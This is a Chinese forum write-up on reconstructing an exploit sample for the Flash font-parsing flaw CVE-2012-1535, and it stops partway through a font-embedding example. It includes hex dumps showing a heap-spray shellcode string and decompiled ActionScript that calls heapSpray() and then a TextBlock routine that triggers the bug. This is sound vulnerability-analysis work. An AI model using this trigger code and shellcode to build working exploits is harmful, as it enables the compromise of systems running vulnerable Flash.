[原创]CVE-2012-1535 Flash解析特殊格式字体漏洞样本构造分享

发布者:仙果
发布于:2012-10-27 23:56
题记:
很早就想写这么一篇分享,分享自己在构造CVE-2012-1535这一Flash 漏洞样本过程中所遇到的一些问题和总结的一些心得。
之前有 古河 和 Wingdbg 两位大牛两篇漏洞原理的分析文章,我这篇就不从漏洞原理上进行阐述分析,主要说的是自己在分析构造样本过程中的一些思路和方法,都是一些很简单粗浅的东西,大牛看到也莫怪,权当茶余饭后的资料。
古河:【原创】cve-2012-1535漏洞调试分析(附样本) :
http://bbs.pediy.com/showthread.php?t=154860
Wingdbg:【原创】CVE-2012-1535 Flash漏洞调试笔记
http://bbs.pediy.com/showthread.php?t=155101
        看到了metazhou的一篇分析
【原创】Step by Step调试CVE-2012-0158 POC
http://bbs.pediy.com/showthread.php?t=152407
与他们的文章结合起来就可以走完漏洞分析的过程,对从事漏洞分析有一定的帮助。最后容我发句牢骚:真心喜欢现在所从事的工作,祈求生活不要给我那么大的压力。
貌似我每次废话都很多,现在开始正题:
分析环境:
Windows XP SP3 虚拟机
010editor
Windbg
硕思闪客精灵

一        分析Flash Swf样本
当拿到一个文件格式方面的样本时,自己的习惯不是去双击打开它,而是使用010editor等十六进制编辑工具打开文件,查看文件中是否有对分析有所帮助的信息,或许能够发现一些漏洞的蛛丝马迹。这次就在十六进制中发现了一些很奇妙的东西:
00D0h: 61 73 68 3C 2F 64 63 3A 66 6F 72 6D 61 74 3E 3C  ash</dc:format>< 
00E0h: 64 63 3A 74 69 74 6C 65 3E 41 64 6F 62 65 20 46  dc:title>Adobe F 
00F0h: 6C 65 78 20 34 20 41 70 70 6C 69 63 61 74 69 6F  lex 4 Applicatio 
0100h: 6E 3C 2F 64 63 3A 74 69 74 6C 65 3E 3C 64 63 3A  n</dc:title><dc: 
0110h: 64 65 73 63 72 69 70 74 69 6F 6E 3E 68 74 74 70  description>http 
	…..
01B0h: 3C 64 63 3A 64 61 74 65 3E 41 75 67 20 31 30 2C  <dc:date>Aug 10, 
01C0h: 20 32 30 31 32 3C 2F 64 63 3A 64 61 74 65 3E 3C   2012</dc:date>< 


从以上2段数据中可以得到以下信息:
1        Flash Swf文件是由某一款Flash 开发工具生成的,比较流行的是Flash CS系列、Adobe Flash Builder系列、以及其他一些编辑器,碰到最多的就是Flash CS。
2        Flash Swf 是在2012年8月10号创建的,时间很近,这时一个好现象。
此时自己尝试使用Flash Builder 4.6编译一个默认的SWF文件与样本SWF进行比较,发现使用样本并是由Flash Builder 生成的。
接着往下进行分析:
0380h: 00 56 00 00 00 61 00 00 00 7C 41 64 6F 62 65 49  .V...a...|AdobeI 
0390h: 64 65 6E 74 69 74 79 52 65 78 6C 69 61 46 72 65  dentityRexliaFre 
03A0h: 65 2D 52 65 67 75 6C 61 72 56 65 72 73 69 6F 6E  e-RegularVersion 
03B0h: 20 31 2E 30 30 30 52 65 78 6C 69 61 20 69 73 20   1.000Rexlia is  
03C0h: 61 20 74 72 61 64 65 6D 61 72 6B 20 6F 66 20 54  a trademark of T 
03D0h: 79 70 6F 64 65 72 6D 69 63 20 46 6F 6E 74 73 52  ypodermic FontsR 
03E0h: 65 78 6C 69 61 20 46 72 65 65 2F 4F 72 69 67 46  exlia Free/OrigF 
03F0h: 6F 6E 74 54 79 70 65 20 2F 54 72 75 65 54 79 70  ontType /TrueTyp 
0400h: 65 20 64 65 66 00 CC 02 00 01 00 50 00 9F 00 A2  e def.?...P.??


认真分析这段数据可以发现,样本Swf文件中嵌入了一个字体文件,而且可以看到相关的关键字,如下:AdobeIdentityRexliaFree-RegularVersion 1.000Rexlia is a trademark of Typodermic FontsRexlia Free/OrigFontType /TrueType def
以"RexliaFree"为关键字打开百度进行搜索,前3条链接中的一个:
http://www.fontke.com/font/10226295/
其中版权信息:© 2008 Typodermic Fonts. This font is freeware. Read attached text file for details. Check out the rest of the Rexlia family and the OpenType version at Typodermic: http://www.typodermic.com ,与样本中如下数据相对应:
C370h: C0 00 00 00 03 00 01 04 09 00 00 01 80 00 C0 28  ?..........€.? 
C380h: 63 29 20 32 30 30 38 20 54 79 70 6F 64 65 72 6D  c) 2008 Typoderm 
C390h: 69 63 20 46 6F 6E 74 73 2E 20 54 68 69 73 20 66  ic Fonts. This f 
C3A0h: 6F 6E 74 20 69 73 20 66 72 65 65 77 61 72 65 2E  ont is freeware. 
C3B0h: 20 52 65 61 64 20 61 74 74 61 63 68 65 64 20 74   Read attached t 
C3C0h: 65 78 74 20 66 69 6C 65 20 66 6F 72 20 64 65 74  ext file for det 
C3D0h: 61 69 6C 73 2E 20 43 68 65 63 6B 20 6F 75 74 20  ails. Check out  
C3E0h: 74 68 65 20 72 65 73 74 20 6F 66 20 74 68 65 20  the rest of the  
C3F0h: 52 65 78 6C 69 61 20 66 61 6D 69 6C 79 20 61 6E  Rexlia family an 
C400h: 64 20 74 68 65 20 4F 70 65 6E 54 79 70 65 20 76  d the OpenType v 
C410h: 65 72 73 69 6F 6E 20 61 74 20 54 79 70 6F 64 65  ersion at Typode 
C420h: 72 6D 69 63 3A 20 68 74 74 70 3A 2F 2F 77 77 77  rmic: http://www 
C430h: 2E 74 79 70 6F 64 65 72 6D 69 63 2E 63 6F 6D 00  .typodermic.com. 


现在推断这个字体文件,就是嵌入到Flash 漏洞样本中的字体文件,有可能是Flash 解析字体时解析不正确导致的漏洞,果断下载此字体文件,同时也下载了其他链接的字体文件,通过比较后发现为同一文件,没有区别。
再接着往下看:
C820h: 49 41 4E 06 65 6E 64 69 61 6E 22 30 63 30 63 30  IAN.endian"0c0c0 
C830h: 63 30 63 30 63 30 63 30 63 30 63 30 63 30 63 30  c0c0c0c0c0c0c0c0 
C840h: 63 30 63 30 63 30 63 39 30 39 30 39 30 88 12 39  c0c0c0c909090?9 
C850h: 30 39 30 39 30 39 30 39 30 45 39 34 37 30 31 30  090909090E947010 
C860h: 30 30 30 43 32 38 46 33 36 44 38 41 30 44 46 31  000C28F36D8A0DF1 
C870h: 36 44 35 42 35 46 30 44 45 37 38 44 30 30 35 38  6D5B5F0DE78D0058 

这些数据很明显就是漏洞触发后定义的ShellCode了,对构造样本来说关系不大,但对于漏洞调试分析的话用处是非常大的,在这里知道了ShellCode,可以在内存中有对应的断点,然后分析。

二        还原构造初始样本
现在回头看看我们都知道什么?
1        漏洞是由Flash Builder 编译器生成的
2        疑似触发漏洞的字体文件:rexliafree.ttf
接下来该如何去做呢?
答案很简单,尝试去构造出一个简单的能够触发漏洞样本出来,这首先要面对一个问题,即如何把字体嵌入到Flash 当中,样本是如何做的?
想知道这些就要尝试针对样本Swf进行反编译处理,我用的是硕思,当然也可以用其他反编译工具,效果是一样的。
以下为反编译代码片段:
        public function Main() : void
        {
            this.FontClass = Main_FontClass;
            this.heapSpray();
            this.TextBlock_createTextLineExample();
            return;
        }// end function


为主函数代码,从层次结构上看很明显:FontClass之后,堆填充,最终
TextBlock_createTextLineExample()函数触发漏洞。
触发函数代码如下:
        public function TextBlock_createTextLineExample() : void
        {
            var _loc_1:String = "Edit the world in hex.";
            var _loc_2:* = new FontDescription("PSpop");
            _loc_2.fontLookup = FontLookup.EMBEDDED_CFF;
            var _loc_3:* = new ElementFormat(_loc_2);
            _loc_3.fontSize = 16;
            var _loc_4:* = new TextElement(_loc_1, _loc_3);
            var _loc_5:* = new TextBlock();
            new TextBlock().content = _loc_4;
            this.createLines(_loc_5);
            return;
        }// end function

        private function createLines(param1:TextBlock) : void
        {
            var _loc_2:Number = 300;
            var _loc_3:Number = 15;
            var _loc_4:Number = 20;
            var _loc_5:* = param1.createTextLine(null, _loc_2);
            while (_loc_5)
            {
                
                _loc_5.x = _loc_3;
                _loc_5.y = _loc_4;
                _loc_4 = _loc_4 + (_loc_5.height + 2);
                addChild(_loc_5);
                _loc_5 = param1.createTextLine(_loc_5, _loc_2);
            }
            return;
        }// end function


从代码中可以看到触发漏洞的流程,根据关键的几个函数能够证实确实是Flash解析字体时触发的漏洞,问题又来了,凭借this.FontClass = Main_FontClass;这一句代码,如何嵌入字体?否则如何触发漏洞,而字体文件又确实嵌入到了Flash Swf文件中。
认真想了想这个问题,记得使用Flash Builder 使用AS3 进行Flash 开发时, Flex可以使用Embed嵌入图片(image)、影片(movice)、Mp3等,有三种嵌入资源的方式可供选择,语法如下:
[Embed(parameter1,parameter2,...)] 元数据 


摘自:《flex 关于Embed的应用 》
接着使用google搜索以"as3 font"作为关键字,得到这么一个网页:
http://www.spikything.com/blog/index.php/2009/09/06/how-to-embed-fonts-in-pure-as3/
其中关键代码如下:
[Embed(source = '../fonts/myfont.ttf', fontName = 'MY_FONT',
fontWeight = 'regular', unicodeRange =
'U+000-                        

声明:该文观点仅代表作者本人,转载请注明来自看雪